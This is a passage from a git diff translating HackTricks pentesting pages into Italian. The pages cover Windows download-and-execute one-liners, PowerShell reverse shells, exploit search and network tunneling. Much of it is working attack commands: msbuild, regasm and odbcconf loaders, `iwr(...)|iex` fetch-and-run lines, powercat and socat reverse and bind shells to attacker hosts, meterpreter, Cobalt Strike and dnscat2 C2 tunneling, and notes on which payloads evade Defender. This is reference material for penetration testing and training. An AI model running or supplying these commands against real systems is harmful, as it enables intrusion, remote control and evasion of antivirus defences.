/format:"https://webserver/payload.xsl" ``` - -Example xsl file [from here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7): - +Esempio di file xsl [da qui](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7): ```xml - - - + + + ``` +**Non rilevato** -**Not detected** - -**You can download & execute very easily a Koadic zombie using the stager wmic** +**Puoi scaricare ed eseguire molto facilmente uno zombie Koadic utilizzando il stager wmic** ## Msbuild -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ``` cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" ``` - -You can use this technique to bypass Application Whitelisting and Powershell.exe restrictions. As you will be prompted with a PS shell.\ -Just download this and execute it: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) - +Puoi utilizzare questa tecnica per bypassare le restrizioni di Application Whitelisting e Powershell.exe. Sarai presentato con una shell PS.\ +Basta scaricare questo ed eseguirlo: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj ``` - -**Not detected** +**Non rilevato** ## **CSC** -Compile C# code in the victim machine. - +Compila il codice C# nella macchina vittima. ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs ``` +Puoi scaricare una shell inversa di base in C# da qui: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) -You can download a basic C# reverse shell from here: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) - -**Not deteted** +**Non rilevato** ## **Regasm/Regsvc** -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll ``` - -**I haven't tried it** +**Non l'ho provato** [**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182) ## Odbcconf -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [Da qui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} ``` - -**I haven't tried it** +**Non l'ho provato** [**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2) @@ -455,98 +375,82 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) -In the **Shells** folder, there are a lot of different shells. To download and execute Invoke-_PowerShellTcp.ps1_ make a copy of the script and append to the end of the file: - +Nella cartella **Shells**, ci sono molte shell diverse. Per scaricare ed eseguire Invoke-_PowerShellTcp.ps1_, fai una copia dello script e aggiungi alla fine del file: ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` - -Start serving the script in a web server and execute it on the victim's end: - +Inizia a servire lo script su un server web ed eseguilo sul lato della vittima: ``` powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" ``` +Defender non lo rileva come codice malevolo (ancora, 3/04/2019). -Defender doesn't detect it as malicious code (yet, 3/04/2019). - -**TODO: Check other nishang shells** +**TODO: Controlla altre shell nishang** ### **PS-Powercat** [**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat) -Download, start a web server, start the listener, and execute it on the victim's end: - +Scarica, avvia un server web, avvia il listener ed eseguilo sul lato della vittima: ``` - powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" +powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` +Defender non lo rileva come codice malevolo (ancora, 3/04/2019). -Defender doesn't detect it as malicious code (yet, 3/04/2019). - -**Other options offered by powercat:** - -Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files... +**Altre opzioni offerte da powercat:** +Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Genera payload, Serve file... ``` Serve a cmd Shell: - powercat -l -p 443 -e cmd +powercat -l -p 443 -e cmd Send a cmd Shell: - powercat -c 10.1.1.1 -p 443 -e cmd +powercat -c 10.1.1.1 -p 443 -e cmd Send a powershell: - powercat -c 10.1.1.1 -p 443 -ep +powercat -c 10.1.1.1 -p 443 -ep Send a powershell UDP: - powercat -c 10.1.1.1 -p 443 -ep -u +powercat -c 10.1.1.1 -p 443 -ep -u TCP Listener to TCP Client Relay: - powercat -l -p 8000 -r tcp:10.1.1.16:443 +powercat -l -p 8000 -r tcp:10.1.1.16:443 Generate a reverse tcp payload which connects back to 10.1.1.15 port 443: - powercat -c 10.1.1.15 -p 443 -e cmd -g +powercat -c 10.1.1.15 -p 443 -e cmd -g Start A Persistent Server That Serves a File: - powercat -l -p 443 -i C:\inputfile -rep +powercat -l -p 443 -i C:\inputfile -rep ``` - ### Empire [https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire) -Create a powershell launcher, save it in a file and download and execute it. - +Crea un launcher di powershell, salvalo in un file e scaricalo ed eseguilo. ``` powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` - -**Detected as malicious code** +**Rilevato come codice malevolo** ### MSF-Unicorn [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn) -Create a powershell version of metasploit backdoor using unicorn - +Crea una versione powershell del backdoor di metasploit utilizzando unicorn ``` python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 ``` - -Start msfconsole with the created resource: - +Avvia msfconsole con la risorsa creata: ``` msfconsole -r unicorn.rc ``` - -Start a web server serving the _powershell_attack.txt_ file and execute in the victim: - +Avvia un server web che serve il file _powershell_attack.txt_ ed esegui nella vittima: ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ``` +**Rilevato come codice malevolo** -**Detected as malicious code** +## Maggiori informazioni -## More - -[PS>Attack](https://github.com/jaredhaight/PSAttack) PS console with some offensive PS modules preloaded (cyphered)\ +[PS>Attack](https://github.com/jaredhaight/PSAttack) console PS con alcuni moduli PS offensivi pre-caricati (cifrati)\ [https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\ -WinPWN](https://github.com/SecureThisShit/WinPwn) PS console with some offensive PS modules and proxy detection (IEX) +WinPWN](https://github.com/SecureThisShit/WinPwn) console PS con alcuni moduli PS offensivi e rilevamento proxy (IEX) -## References +## Riferimenti - [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/) - [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x) diff --git a/src/generic-hacking/search-exploits.md b/src/generic-hacking/search-exploits.md index 8d195840a..0a160a3f9 100644 --- a/src/generic-hacking/search-exploits.md +++ b/src/generic-hacking/search-exploits.md @@ -1,25 +1,16 @@ -# Search Exploits +# Cerca Exploit {{#include ../banners/hacktricks-training.md}} -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %} - ### Browser -Always search in "google" or others: **\ \[version] exploit** +Cerca sempre in "google" o altri: **\ \[version] exploit** -You should also try the **shodan** **exploit search** from [https://exploits.shodan.io/](https://exploits.shodan.io). +Dovresti anche provare la **ricerca exploit di shodan** da [https://exploits.shodan.io/](https://exploits.shodan.io). ### Searchsploit -Useful to search exploits for services in **exploitdb from the console.** - +Utile per cercare exploit per servizi in **exploitdb dalla console.** ```bash #Searchsploit tricks searchsploit "linux Kernel" #Example @@ -29,43 +20,33 @@ searchsploit -p 7618[.c] #Show complete path searchsploit -x 7618[.c] #Open vi to inspect the exploit searchsploit --nmap file.xml #Search vulns inside an nmap xml result ``` - ### Pompem -[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) is another tool to search for exploits +[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) è un altro strumento per cercare exploit ### MSF-Search - ```bash msf> search platform:windows port:135 target:XP type:exploit ``` - ### PacketStorm -If nothing is found, try to search the used technology inside [https://packetstormsecurity.com/](https://packetstormsecurity.com) +Se non viene trovato nulla, prova a cercare la tecnologia utilizzata all'interno di [https://packetstormsecurity.com/](https://packetstormsecurity.com) ### Vulners -You can also search in vulners database: [https://vulners.com/](https://vulners.com) +Puoi anche cercare nel database vulners: [https://vulners.com/](https://vulners.com) ### Sploitus -This searches for exploits in other databases: [https://sploitus.com/](https://sploitus.com) +Questo cerca exploit in altri database: [https://sploitus.com/](https://sploitus.com) ### Sploitify -GTFOBins-like curated list of exploits with filters by vulnerability type (Local Privilege Escalation, Remote Code execution, etc), service type (Web, SMB, SSH, RDP, etc), OS and practice labs (links to machines where you can play with sploits): [https://sploitify.haxx.it](https://sploitify.haxx.it) +Elenco curato di exploit simile a GTFOBins con filtri per tipo di vulnerabilità (Local Privilege Escalation, Remote Code execution, ecc.), tipo di servizio (Web, SMB, SSH, RDP, ecc.), OS e laboratori pratici (link a macchine dove puoi giocare con gli exploit): [https://sploitify.haxx.it](https://sploitify.haxx.it) ### search_vulns -search_vulns enables you to search for known vulnerabilities and exploits as well: [**https://search-vulns.com/**](https://search-vulns.com/). It utilizes various data sources like the NVD, the Exploit-DB, PoC-in-GitHub, the GitHub Security Advisory database and endoflife.date. +search_vulns ti consente di cercare vulnerabilità e exploit noti: [**https://search-vulns.com/**](https://search-vulns.com/). Utilizza varie fonti di dati come il NVD, l'Exploit-DB, PoC-in-GitHub, il database delle Advisory di Sicurezza di GitHub e endoflife.date. -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index 902da0e5b..f029761ac 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -1,16 +1,15 @@ -# Tunneling and Port Forwarding +# Tunneling e Port Forwarding {{#include ../banners/hacktricks-training.md}} -## Nmap tip +## Suggerimento Nmap > [!WARNING] -> **ICMP** and **SYN** scans cannot be tunnelled through socks proxies, so we must **disable ping discovery** (`-Pn`) and specify **TCP scans** (`-sT`) for this to work. +> **ICMP** e **SYN** scans non possono essere tunnelizzati attraverso proxy socks, quindi dobbiamo **disabilitare la scoperta ping** (`-Pn`) e specificare **scansioni TCP** (`-sT`) affinché questo funzioni. ## **Bash** **Host -> Jump -> InternalA -> InternalB** - ```bash # On the jump server connect the port 3333 to the 5985 mknod backpipe p; @@ -26,19 +25,15 @@ cat <&4 >&3 & # From the host, you can now access InternalB from the Jump server evil-winrm -u username -i Jump ``` - ## **SSH** -SSH graphical connection (X) - +Connessione grafica SSH (X) ```bash ssh -Y -C @ #-Y is less secure but faster than -X ``` - ### Local Port2Port -Open new Port in SSH Server --> Other port - +Apri una nuova porta nel server SSH --> Altra porta ```bash ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere ``` @@ -46,29 +41,23 @@ ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in ```bash ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere ``` - ### Port2Port -Local port --> Compromised host (SSH) --> Third_box:Port - +Porta locale --> Host compromesso (SSH) --> Terza_cassa:Port ```bash ssh -i ssh_key @ -L :: [-p ] [-N -f] #This way the terminal is still in your host #Example sudo ssh -L 631::631 -N -f -l ``` - ### Port2hostnet (proxychains) -Local Port --> Compromised host (SSH) --> Wherever - +Porta locale --> Host compromesso (SSH) --> Ovunque ```bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy) ``` - ### Reverse Port Forwarding -This is useful to get reverse shells from internal hosts through a DMZ to your host: - +Questo è utile per ottenere reverse shell da host interni attraverso una DMZ al tuo host: ```bash ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000 @@ -77,13 +66,11 @@ ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # and change the line "GatewayPorts no" to "GatewayPorts yes" # to be able to make ssh listen in non internal interfaces in the victim (443 in this case) ``` - ### VPN-Tunnel -You need **root in both devices** (as you are going to create new interfaces) and the sshd config has to allow root login:\ +Hai bisogno di **root in entrambi i dispositivi** (poiché stai per creare nuove interfacce) e la configurazione di sshd deve consentire il login come root:\ `PermitRootLogin yes`\ `PermitTunnel yes` - ```bash ssh root@server -w any:any #This will create Tun interfaces in both devices ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP @@ -91,50 +78,38 @@ ifconfig tun0 up #Activate the client side network interface ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP ifconfig tun0 up #Activate the server side network interface ``` - -Enable forwarding on the Server side - +Abilita l'inoltro lato Server ```bash echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE ``` - -Set a new route on the client side - +Imposta un nuovo percorso sul lato client ``` route add -net 10.0.0.0/16 gw 1.1.1.1 ``` - ## SSHUTTLE -You can **tunnel** via **ssh** all the **traffic** to a **subnetwork** through a host.\ -For example, forwarding all the traffic going to 10.10.10.0/24 - +Puoi **tunneling** tramite **ssh** tutto il **traffico** verso una **sottorete** attraverso un host.\ +Ad esempio, inoltrando tutto il traffico diretto a 10.10.10.0/24 ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 ``` - -Connect with a private key - +Connettersi con una chiave privata ```bash sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa' # -D : Daemon mode ``` - ## Meterpreter ### Port2Port -Local port --> Compromised host (active session) --> Third_box:Port - +Porta locale --> Host compromesso (sessione attiva) --> Terza_cassa:Port ```bash # Inside a meterpreter session portfwd add -l -p -r ``` - ### SOCKS - ```bash background# meterpreter session route add # (ex: route add 10.10.10.14 255.255.255.0 8) @@ -142,9 +117,7 @@ use auxiliary/server/socks_proxy run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` - -Another way: - +Un altro modo: ```bash background #meterpreter session use post/multi/manage/autoroute @@ -157,13 +130,11 @@ set VERSION 4a run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` - ## Cobalt Strike ### SOCKS proxy -Open a port in the teamserver listening in all the interfaces that can be used to **route the traffic through the beacon**. - +Apri una porta nel teamserver in ascolto su tutte le interfacce che possono essere utilizzate per **instradare il traffico attraverso il beacon**. ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -171,50 +142,42 @@ beacon> socks 1080 # Set port 1080 as proxy server in proxychains.conf proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ``` - ### rPort2Port > [!WARNING] -> In this case, the **port is opened in the beacon host**, not in the Team Server and the traffic is sent to the Team Server and from there to the indicated host:port - +> In questo caso, la **porta è aperta nell'host beacon**, non nel Team Server e il traffico viene inviato al Team Server e da lì all'host:porta indicato. ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] ``` +Da notare: -To note: +- Il reverse port forward di Beacon è progettato per **tunnellare il traffico verso il Team Server, non per il relay tra macchine individuali**. +- Il traffico è **tunnellato all'interno del traffico C2 di Beacon**, inclusi i link P2P. +- **I privilegi di amministratore non sono richiesti** per creare reverse port forwards su porte alte. -- Beacon's reverse port forward is designed to **tunnel traffic to the Team Server, not for relaying between individual machines**. -- Traffic is **tunneled within Beacon's C2 traffic**, including P2P links. -- **Admin privileges are not required** to create reverse port forwards on high ports. - -### rPort2Port local +### rPort2Port locale > [!WARNING] -> In this case, the **port is opened in the beacon host**, not in the Team Server and the **traffic is sent to the Cobalt Strike client** (not to the Team Server) and from there to the indicated host:port - +> In questo caso, la **porta è aperta nell'host beacon**, non nel Team Server e il **traffico è inviato al client Cobalt Strike** (non al Team Server) e da lì all'host:porta indicato. ``` rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] ``` - ## reGeorg [https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg) -You need to upload a web file tunnel: ashx|aspx|js|jsp|php|php|jsp - +Devi caricare un file web tunnel: ashx|aspx|js|jsp|php|php|jsp ```bash python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp ``` - ## Chisel -You can download it from the releases page of [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ -You need to use the **same version for client and server** +Puoi scaricarlo dalla pagina delle release di [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ +Devi usare la **stessa versione per client e server** ### socks - ```bash ./chisel server -p 8080 --reverse #Server -- Attacker ./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim @@ -223,22 +186,18 @@ You need to use the **same version for client and server** ./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed) ./chisel client -v 10.10.10.10:8080 socks #Attacker ``` - -### Port forwarding - +### Inoltro porte ```bash ./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker ./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim ``` - ## Ligolo-ng [https://github.com/nicocha30/ligolo-ng](https://github.com/nicocha30/ligolo-ng) -**Use the same version for agent and proxy** +**Usa la stessa versione per l'agente e il proxy** ### Tunneling - ```bash # Start proxy server and automatically generate self-signed TLS certificates -- Attacker sudo ./proxy -selfcert @@ -260,9 +219,7 @@ interface_add_route --name "ligolo" --route / python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080 ``` @@ -293,9 +246,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127 ```bash victim> python client.py --server-ip --server-port 9999 ``` - -Pivot through **NTLM proxy** - +Pivotare attraverso **NTLM proxy** ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd ``` @@ -303,39 +254,29 @@ victim> python client.py --server-ip --server-port 9999 --ntl ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45 ``` - ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) -### Bind shell - +### Shell di binding ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP4::1337 ``` - ### Reverse shell - ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` - ### Port2Port - ```bash socat TCP4-LISTEN:,fork TCP4:: & ``` - -### Port2Port through socks - +### Port2Port tramite socks ```bash socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` - -### Meterpreter through SSL Socat - +### Meterpreter tramite SSL Socat ```bash #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333 @@ -345,21 +286,15 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` - -You can bypass a **non-authenticated proxy** executing this line instead of the last one in the victim's console: - +Puoi bypassare un **proxy non autenticato** eseguendo questa riga invece dell'ultima nella console della vittima: ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` - -[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/) - ### SSL Socat Tunnel **/bin/sh console** -Create certificates on both sides: Client and Server - +Crea certificati su entrambi i lati: Client e Server ```bash # Execute these commands on both sides FILENAME=socatssl @@ -373,34 +308,28 @@ chmod 600 $FILENAME.key $FILENAME.pem attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt ``` - ### Remote Port2Port -Connect the local SSH port (22) to the 443 port of the attacker host - +Collegare la porta SSH locale (22) alla porta 443 dell'host attaccante ```bash attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost victim> while true; do socat TCP4::443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim ``` - ## Plink.exe -It's like a console PuTTY version ( the options are very similar to an ssh client). - -As this binary will be executed in the victim and it is an ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward only locally accessible port to a port in our machine: +È come una versione console di PuTTY (le opzioni sono molto simili a quelle di un client ssh). +Poiché questo binario verrà eseguito nella vittima ed è un client ssh, dobbiamo aprire il nostro servizio e la nostra porta ssh in modo da poter avere una connessione inversa. Quindi, per inoltrare solo una porta accessibile localmente a una porta nella nostra macchina: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 ``` - ## Windows netsh ### Port2Port -You need to be a local admin (for any port) - +Devi essere un amministratore locale (per qualsiasi porta) ```bash netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp # Example: @@ -410,60 +339,50 @@ netsh interface portproxy show v4tov4 # Delete port forward netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 ``` - ## SocksOverRDP & Proxifier -You need to have **RDP access over the system**.\ -Download: +È necessario avere **accesso RDP al sistema**.\ +Scarica: -1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - This tool uses `Dynamic Virtual Channels` (`DVC`) from the Remote Desktop Service feature of Windows. DVC is responsible for **tunneling packets over the RDP connection**. +1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Questo strumento utilizza `Dynamic Virtual Channels` (`DVC`) dalla funzione Remote Desktop Service di Windows. DVC è responsabile per **il tunneling dei pacchetti sulla connessione RDP**. 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) -In your client computer load **`SocksOverRDP-Plugin.dll`** like this: - +Nel tuo computer client carica **`SocksOverRDP-Plugin.dll`** in questo modo: ```bash # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` +Ora possiamo **connetterci** alla **vittima** tramite **RDP** usando **`mstsc.exe`**, e dovremmo ricevere un **messaggio** che dice che il **plugin SocksOverRDP è abilitato**, e ascolterà su **127.0.0.1:1080**. -Now we can **connect** to the **victim** over **RDP** using **`mstsc.exe`**, and we should receive a **prompt** saying that the **SocksOverRDP plugin is enabled**, and it will **listen** on **127.0.0.1:1080**. - -**Connect** via **RDP** and upload & execute in the victim machine the `SocksOverRDP-Server.exe` binary: - +**Connetti** tramite **RDP** e carica ed esegui nella macchina della vittima il binario `SocksOverRDP-Server.exe`: ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` - -Now, confirm in you machine (attacker) that the port 1080 is listening: - +Ora, conferma nella tua macchina (attaccante) che la porta 1080 è in ascolto: ``` netstat -antb | findstr 1080 ``` +Ora puoi usare [**Proxifier**](https://www.proxifier.com/) **per fare il proxy del traffico attraverso quella porta.** -Now you can use [**Proxifier**](https://www.proxifier.com/) **to proxy the traffic through that port.** +## Proxifica le app GUI di Windows -## Proxify Windows GUI Apps +Puoi fare in modo che le app GUI di Windows navigano attraverso un proxy usando [**Proxifier**](https://www.proxifier.com/).\ +In **Profile -> Proxy Servers** aggiungi l'IP e la porta del server SOCKS.\ +In **Profile -> Proxification Rules** aggiungi il nome del programma da proxificare e le connessioni agli IP che vuoi proxificare. -You can make Windows GUI apps navigate through a proxy using [**Proxifier**](https://www.proxifier.com/).\ -In **Profile -> Proxy Servers** add the IP and port of the SOCKS server.\ -In **Profile -> Proxification Rules** add the name of the program to proxify and the connections to the IPs you want to proxify. - -## NTLM proxy bypass - -The previously mentioned tool: **Rpivot**\ -**OpenVPN** can also bypass it, setting these options in the configuration file: +## Bypass del proxy NTLM +Lo strumento precedentemente menzionato: **Rpivot**\ +**OpenVPN** può anche bypassarlo, impostando queste opzioni nel file di configurazione: ```bash http-proxy 8080 ntlm ``` - ### Cntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) -It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port.\ -For example that forward port 443 - +Autenticandosi contro un proxy, crea un binding di una porta localmente che viene inoltrata al servizio esterno specificato. Poi, puoi utilizzare lo strumento di tua scelta attraverso questa porta.\ +Ad esempio, inoltra la porta 443. ``` Username Alice Password P@ssw0rd @@ -471,13 +390,12 @@ Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` - -Now, if you set for example in the victim the **SSH** service to listen in port 443. You can connect to it through the attacker port 2222.\ -You could also use a **meterpreter** that connects to localhost:443 and the attacker is listening in port 2222. +Ora, se imposti ad esempio nel bersaglio il servizio **SSH** per ascoltare sulla porta 443. Puoi connetterti ad esso attraverso la porta 2222 dell'attaccante.\ +Potresti anche usare un **meterpreter** che si connette a localhost:443 e l'attaccante sta ascoltando sulla porta 2222. ## YARP -A reverse proxy created by Microsoft. You can find it here: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) +Un reverse proxy creato da Microsoft. Puoi trovarlo qui: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) ## DNS Tunneling @@ -485,26 +403,21 @@ A reverse proxy created by Microsoft. You can find it here: [https://github.com/ [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) -Root is needed in both systems to create tun adapters and tunnel data between them using DNS queries. - +È necessario avere i permessi di root in entrambi i sistemi per creare adattatori tun e tunnelare i dati tra di essi utilizzando query DNS. ``` attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r #You can see the victim at 1.1.1.2 ``` - -The tunnel will be very slow. You can create a compressed SSH connection through this tunnel by using: - +Il tunnel sarà molto lento. Puoi creare una connessione SSH compressa attraverso questo tunnel utilizzando: ``` ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ``` - ### DNSCat2 -[**Download it from here**](https://github.com/iagox86/dnscat2)**.** - -Establishes a C\&C channel through DNS. It doesn't need root privileges. +[**Scaricalo da qui**](https://github.com/iagox86/dnscat2)**.** +Stabilisce un canale C\&C tramite DNS. Non richiede privilegi di root. ```bash attacker> ruby ./dnscat2.rb tunneldomain.com victim> ./dnscat2 tunneldomain.com @@ -513,50 +426,42 @@ victim> ./dnscat2 tunneldomain.com attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache victim> ./dnscat2 --dns host=10.10.10.10,port=5353 ``` - #### **In PowerShell** -You can use [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) to run a dnscat2 client in powershell: - 